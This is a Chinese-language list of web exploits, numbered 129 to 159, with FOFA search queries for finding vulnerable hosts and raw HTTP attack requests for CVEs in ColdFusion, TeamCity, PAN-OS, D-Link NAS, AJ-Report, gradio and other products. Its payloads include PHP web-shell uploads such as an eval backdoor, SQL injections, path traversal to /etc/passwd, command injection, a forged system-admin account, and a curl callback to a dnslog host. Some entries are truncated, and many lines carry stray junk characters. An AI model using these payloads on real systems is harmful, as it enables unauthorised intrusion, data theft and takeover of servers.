Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
& n: V5 f% d! bFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
! V4 w( M* [- m! p% G  R6 @第一步，获取uuid
0 n/ M5 M1 k' i1 x2 j* wGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
+ R8 J* z* r, {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 B/ {% @2 D0 G) u" _9 k! p$ LAccept: */*
Accept-Encoding: gzip, deflate
/ c7 Z% o3 l" V. V, bConnection: close
7 ]0 f! v% E* P9 U

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
; u4 w* ~- V/ O& l0 u: L; `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
: S0 y1 \& D% b, x( E1 QAccept-Encoding: gzip, deflate
/ W* F# t1 n, q8 g0 N8 A: I% QConnection: close
7 D. b& n" b1 m! U6 \. xuuid: 85f60018-a654-4410-a783-f81cbd5000b9
) C# k" d3 u9 [, v
1 ~3 ^5 _" l$ i/ G
, K. }9 R3 ~8 X' s% v/ T130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
! A9 t4 }  E, q! |1 z' vAccept-Encoding: gzip, deflate
, l% B; B' \# L7 j2 G" p2 K. rAccept-Language: zh-CN,zh;q=0.9
2 q6 P- \2 y) K* A9 WCookie: user_name=1; user_id=3
Connection: close
1 J0 T8 u5 }" B
------WebKitFormBoundary3OCVBiwBVsNuB2kR
+ c" M2 E3 t( \Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
4 c8 G( n# I  Z) U
<?php phpinfo();@eval($_POST['sec']);?>
2 c9 d% ]+ B+ U: ~7 a------WebKitFormBoundary3OCVBiwBVsNuB2kR--
( L( Z& o0 J/ y: @) m

131. Mini-Tmall <=20231017 SQL注入
; n$ ?  \- T1 t3 m* C: fFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
2 _, J/ G: y7 X1 O" U9 ePOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
' ~9 U4 ]0 A/ ]: B3 E1 vAccept-Encoding: gzip, deflate
9 a" _. }. Z) L2 c0 o
$ d/ o1 J! l& d) H3 L% i" j{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
) T' a: i7 a, L: c+ G+ D/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

3 _, a# @; X! L
CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
3 |( i( b* d5 m4 Z/ s$ S& APOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
8 g) G, p3 B* B' L+ O! ~; F; yHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' j7 c( ]' T+ b& `0 r8 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
% s0 }( o6 P5 ^1 z/ S& }, LContent-Type: application/octet-stream
. p, [, n3 ~. p8 `4 ~' p7 X
<?php system("cat /etc/passwd");unlink(__FILE__);?>
2 E2 T1 |$ d) w2 W* }------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
2 M7 x6 X  Q8 D) x) y- q, o# Z+ g
! H5 ^! E$ O6 e# D4 e

134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
0 z6 @* X4 v, e& |% l: \FOFA：app="网康科技-NS-ASG安全网关"
( k% U  u5 L# fPOST /protocol/index.php HTTP/1.1
2 r3 F5 i; U4 G0 RHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
. S" U' u0 s. M& }' W, J# R+ D3 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
( _  T$ m; x7 u  a( p% n, C1 T9 X+ sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 H1 o; d1 i" b" G3 KSec-Fetch-Dest: empty
5 \* `! X& r+ ISec-Fetch-Mode: cors
. l. x6 J9 Z  y* S1 qSec-Fetch-Site: same-origin
* ^4 h) ^: C; K* f5 fTe: trailers
( s& l+ _  U2 ^' L8 ^Connection: close
( L9 C! C( }: Z$ IContent-Type: application/x-www-form-urlencoded
. o7 J. q6 m3 E: z' iContent-Length: 263
$ e, ^* q5 C* s$ m! `/ M
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


. K3 s' Y/ }8 }/ }; X! x135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
( a) s) ]/ g7 v& c5 DNetentsec NS-ASG Application Security Gateway 6.3版本
7 D3 [: {) m) S, p# dFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
5 Z8 k5 _  Z4 F" QHost: x.x.x.x
& T& Z8 a' `3 V: W6 r0 O. _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& k1 G4 [% k- ]  j, p; pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; t5 ]) G; K. x+ e% zAccept-Encoding: gzip, deflate
5 h+ h2 f! P4 J* k/ l8 T2 Q6 `" F7 m! `! HAccept-Language: zh-CN,zh;q=0.9
Connection: close

  M3 x: o! k3 }
136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
( f8 E; O9 [: i8 y5 FGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
( _1 V2 {, k6 r7 NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ ?1 V* [0 X8 a! b7 L* b$ V" xConnection: close
9 j4 I  P8 {# H6 Q; sAccept: */*
Accept-Language: en
Accept-Encoding: gzip
) z4 O% [3 R3 ~

% r0 n9 l- |2 r; F0 T137. 福建科立迅通信指挥调度平台down_file.php sql注入
  J7 r5 X- O- M$ nCVE-2024-2620
" z/ @* e& p! `" S' uFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
1 u% t9 U) R4 h; [! o: [" ]$ cGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
, U9 i. l; c8 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" J& R# F+ i6 g# F+ U8 l  J1 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, X1 Y$ ?2 l' HAccept-Encoding: gzip, deflate, br
Connection: close
& C% w6 ?+ \, Z$ KCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


- P; T' L' M: g138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
7 W4 B# o/ I, t+ U' z, j+ L: u& e- YCVE-2024-2621
! h% M+ m1 b" \0 _0 h, }7 RFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
2 C9 _$ T: |& O7 x7 U$ }GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
! k& E/ M/ }: A! H, w$ d1 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# q. @9 z" f# O0 o3 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 \1 O* C9 c$ C3 M- p. G+ aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

+ F) L8 P7 R* n! k" q4 R  v: J
+ g+ `- N3 m& h! F# O5 m/ ^139. 福建科立讯通信指挥调度平台editemedia.php sql注入
$ h, e% Z5 w, u( _6 ~0 C. z" w1 [CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# o8 ?" u1 S5 @9 |( Y; fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; {7 b- T0 ?6 C' b  C& R, U( ?Accept-Encoding: gzip, deflate, br
( V+ R/ j# M5 ]( ]+ s; vConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
* v& o  y! z& T, V. E8 m0 vUpgrade-Insecure-Requests: 1


  R$ Z8 G/ a6 @) ~140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
" c) [: r' \' x% RCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
% ]- B' [! {. FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 d2 O; M9 f# Y+ Q/ GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 K- M* i; R% qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
- ?+ d3 u7 e6 x4 ^* k! v2 pCookie: authcode=h8g9
! C- n; f0 N; M4 U1 t% DUpgrade-Insecure-Requests: 1


/ E+ c, H+ V! E1 T. L$ H/ ~) U141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
) e1 @: u) }1 H; SPOST /app/ext/ajax_users.php HTTP/1.1
0 ^% |3 \; x9 c! x; q0 I( a! T1 ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
/ o/ ]! Y2 @) g" V6 m# [$ TContent-Type: application/x-www-form-urlencoded
+ s# H4 d+ G; V, L  q: ]- m; K
- k2 Y' t( T9 o! n- I7 g
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
1 p7 X& O& x7 P5 ~! F3 ~9 z
; B" Q5 P/ L. X9 u( p( {
  a* w1 J2 i4 v& s142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
6 Q, o. O8 l' ]2 iPAYLOAD
* S! @" p  R' q  z" B+ N
144. D-Link nas_sharing.cgi 命令注入
" {5 ?  _: R$ _7 ]- H+ Z5 i2 _FOFA：app="D_Link-DNS-ShareCenter"
- f$ N' j% j( t" gsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
. H! B  p$ S" _& b0 wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
. i. |& d# N) m# T, R8 o/ \9 L* BAccept: */*
Accept-Language: en
- U2 X/ k! v. K0 f7 r# o" ?Accept-Encoding: gzip
& T: W) u; z9 A8 l1 @9 R
  @6 R/ }+ p% d
/ V2 q. q4 J2 K1 N+ ]145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
/ S' {, o( U0 R; x# w% ~' j% |GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
( P2 i; V- s, c+ Q0 F9 W5 Q6 v' UConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
' P  _) J& l3 I/ N

( K5 }) d0 z: \7 J( U% j  \# p146. MajorDoMo thumb.php 未授权远程代码执行
  G7 `4 l. x  W. H+ q3 W, CCNVD-2024-02175
FOFA：app="MajordomoSL"
) `+ b' C. }- P  V. O1 Q7 @8 nGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
$ A' L' m; M: r6 AHost: x.x.x.x
* h8 F1 ?2 W  a9 q- M3 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
+ M2 l$ }* I0 m  JConnection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
2 N4 |# O3 B" m8 n6 n3 F$ [Connection: close

: t* J, r7 U/ V: o5 \+ `+ e& v( r
6 J: o2 ~4 v0 C148. CrushFTP 认证绕过模板注入
3 a" e% Q3 c9 |) P3 ?2 Z5 L/ hCVE-2024-4040
' S2 O4 D: g& C0 O# g& \FOFA：body="CrushFTP"
PAYLOAD

# O/ K6 o. E/ e5 K149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

" T) U/ v2 ^# F1 ^$ g* @% @POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
$ d- Q8 q) ?! y  JHost: x.x.x.x
; q; x7 E/ Q; J7 @. RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; r  H8 ]9 }% L# e: zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; N# g; q# @1 Q1 d# G" BAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
0 o4 Y5 n' K7 _# f/ LConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
7 e+ f! v8 J, c3 w7 P& v+ bPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
: ~  b' w' ^2 |, h* \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
- N) z' m  y, A* U0 b% ?3 y8 v5 E* x% pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
+ i8 X& y: v# J2 ZContent-Length: 339
" n" h4 ~. r/ n& [1 Q5 G  k/ x( G& Z
! x4 a/ ~/ @8 h{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
% s: B  n- s* Y" L2 ]. ^
$ G7 j* @0 x: z5 b* f
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
6 _* T6 |+ X9 ], ^$ x! n/ A1 |- P; ~! DGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
' V! }9 r& ~$ I; AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
3 B! i7 v8 u, {0 M5 a  J4 K! K, e) IAccept-Encoding: gzip
$ g9 j5 ]! c" `: M9 |1 Z
0 i" W5 r, N# ?0 }, b
( v" p0 i( N  O! L4 t& _152. Progress Kemp LoadMaster 远程命令执行
7 E5 L+ S" N- LCVE-2024-1212
/ h5 _. M5 e3 t& Z& R% A1 E& GLoadMaster <= 7.2.59.2 (GA)
- z" p1 e4 b# s, r- K$ u9 qLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
4 u1 G: ~$ h. O9 K9 ~* }FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
9 y' I" n2 u' K  d+ \6 d7 {6 E# QAccept-Encoding: gzip
- T. f6 k% \9 s' v. m8 A# J- {& ~

153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
0 B7 o; A, ?- L& m  n# c3 z8 j

2 H+ \  Q, \6 |. Z  p第二步，将/etc/passwd的内容写入到一个临时文件
/ [! B0 {) U/ d8 J2 k0 {3 BPOST /component_server HTTP/1.1
) y) Z' h8 e7 G; m3 HHost: x.x.x.x
$ P. w/ E  H  O: lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
$ T. \3 b8 d7 U. O. `6 n3 iContent-Length: 115
Content-Type: application/json
7 E/ q0 a9 g+ O' v. V- CAccept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
' t6 t$ Q) {5 j- S( N
" [% d1 F0 j# b( Y+ _
第三步访问
* M8 ]  q8 Y, \7 g8 Z3 w$ E$ Rhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
5 N$ z: u, F: C9 {CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
$ E- Q+ t5 y3 kContent-Length: 106
Cache-Control: max-age=0
: v$ x1 X1 m0 f9 |/ s- Z- XUpgrade-Insecure-Requests: 1
7 C6 Z  Y0 f' R5 jOrigin: http://x.x.x.x
- Q2 f8 J! ~3 I: g) N& RContent-Type: application/json
- u4 o4 j8 n# X3 k2 W6 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
/ ?! C1 ]6 z8 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
) b: B5 p+ V6 C, D4 uConnection: close
1 W. x( x: k: v' D# F: S2 O
0 E5 y- `- n2 e" ^{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

1 Q3 S$ d6 y8 m( J
) w! h/ D1 v4 [+ ~155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
, w" b  i0 n* M! rPOST /include/file.php HTTP/1.1
  j) V6 y; k* U9 t0 l2 GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
5 ?. ~0 m9 r) s+ G9 rConnection: close
1 z$ \; `9 u  ?5 H0 v& E. K6 VContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
' A8 D/ w0 l+ F( j5 E# b, mX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
" d9 f! h8 B- i- s6 W. S' ~9 P& BContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

0 [' f6 D6 {" O4 n" O8 l  J<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
" T# q9 W  N  _0 y8 `/ U$ x* S2 [

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
+ E9 `3 \7 n/ MCVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
5 e9 S5 B2 }/ N0 U) Ocurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
& m( ^; l: @' A: w4 x+ J$ X' c! a) c
8 Q1 t# S: l* E, I1 a$ i
) V8 p8 j+ ~% z8 B, SPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
8 r7 o$ `$ P/ w! jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. G; S8 Y6 A" eConnection: close
2 E. N+ q" D2 {$ vContent-Length: 0
! B4 t) n# p" b' {- l: x4 T& uCookie: uid=1
Accept-Encoding: gzip
1 b' O- i7 a8 L3 W9 i, g
3 m* ^7 J% S) g& ]
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
9 i) D, N" C, f6 X( f6 W7 u2 x2 YFOFA：body="/common/scripts/basic.js"
2 i2 {3 w1 k% B2 D8 U/ M  s9 U/ c2 `POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
( V  I7 z& H% j9 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& ^5 ?3 _! e4 ^0 V, S, ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 K/ G9 `! D; {& C! [Cache-Control: max-age=0
Connection: close
  g  a1 q( j0 a5 KContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
0 q$ w" [- q9 j7 z& w6 [Upgrade-Insecure-Requests: 1
. K$ {/ h: m" n; i* n- w
------WebKitFormBoundary1imovELzPsfzp5dN
! R, e4 k" x  D: GContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
' h+ U- Q; K0 K2 X" H; z# NContent-Type: application/octet-stream
2 w3 v# v$ Y  c8 _5 B! J! p
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
+ p5 j% Y$ {& p( Q5 bContent-Disposition: form-data; name="key"
0 r, \& {; c1 _$ J% _# m
1 P0 `. U" e: S4 \% v# O, cnull
1 Z0 ?" B4 k* T/ D/ j, h/ i------WebKitFormBoundary1imovELzPsfzp5dN
2 n; x' d$ }% q$ O0 g& VContent-Disposition: form-data; name="form"
$ h$ Y, @) f$ s6 V4 @: s9 a' d
6 C- H: k1 D& w+ ]null
2 e4 H$ Z8 ~- q: y1 X& s; Z------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
' r6 i3 [2 \& E8 W6 sContent-Disposition: form-data; name="filetitile"
& q0 e* {% t! W7 h7 j
null
; [  y- Q7 s, l. g3 s1 \------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
. X3 u1 i3 a$ G& Q/ \
& w: S* {, s. `, X4 D+ xnull
------WebKitFormBoundary1imovELzPsfzp5dN--
2 i1 p; p3 y9 Y) j2 n9 u! |6 |$ P% O
# d; c) S2 d  }8 O
# v9 y' o- {& ahttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
% K1 \/ ?- a1 p0 b9 _3 q; g9 n* Y
& a5 f% \- K+ n$ i& `# B158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
/ r3 Q4 N4 }2 v  W1 R3 R3 {; U! ?9 XHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
0 T3 o0 h$ G4 q! P7 e! k$ v6 U
object=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
( Y. `) q( A1 ]FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
4 |' o- R$ t9 I0 y! Y- O( bHost: x.x.x.x
